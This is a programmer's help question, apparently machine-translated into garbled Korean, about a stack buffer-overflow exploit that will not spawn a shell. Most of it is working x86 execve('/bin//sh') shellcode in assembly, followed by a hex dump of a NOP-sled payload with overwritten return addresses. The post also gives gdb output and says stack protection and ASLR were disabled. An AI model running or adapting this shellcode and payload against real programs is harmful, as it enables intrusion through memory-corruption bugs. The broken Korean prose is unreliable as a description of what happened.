나는 쉘을 산란 내 어셈블리 코드를쉘 코드 쉘을 산란
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
xor ebx, ebx
mov bl, 1
int 0x80
내가 그것을 실행할 때 내가 가진 쉘 나는 gdb
에 사용하는 경우 페이로드
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 31c0 5068 6e2f 7368 682f 2f62 ....1.Phn/shh//b
0000020: 6989 e350 89e2 5089 e253 89e1 b00b cd80 i..P..P..S......
0000030: 31db b301 cd80 9090 9090 9090 9090 9090 1...............
0000040: 9090 9090 9090 9090 c8cf ffff 90cf ffff ................
에 변형 그래서 무슨 일이 일어 나는지 나는이 메시지를 받는다 :
process 22459 is executing new program: /bin/dash
[Inferior 1 (process 22459) exited normally]
그러나 껍질 없음. 실행 파일에 페이로드를 넣으려면
Illegal instruction (core dumped)
무슨 일이 일어나는지에 대한 도움이 필요하십니까?
실행 파일을 --fno-stack-protector
으로 컴파일하고 ASLR을 해제하고 실행 파일을 스택했습니다.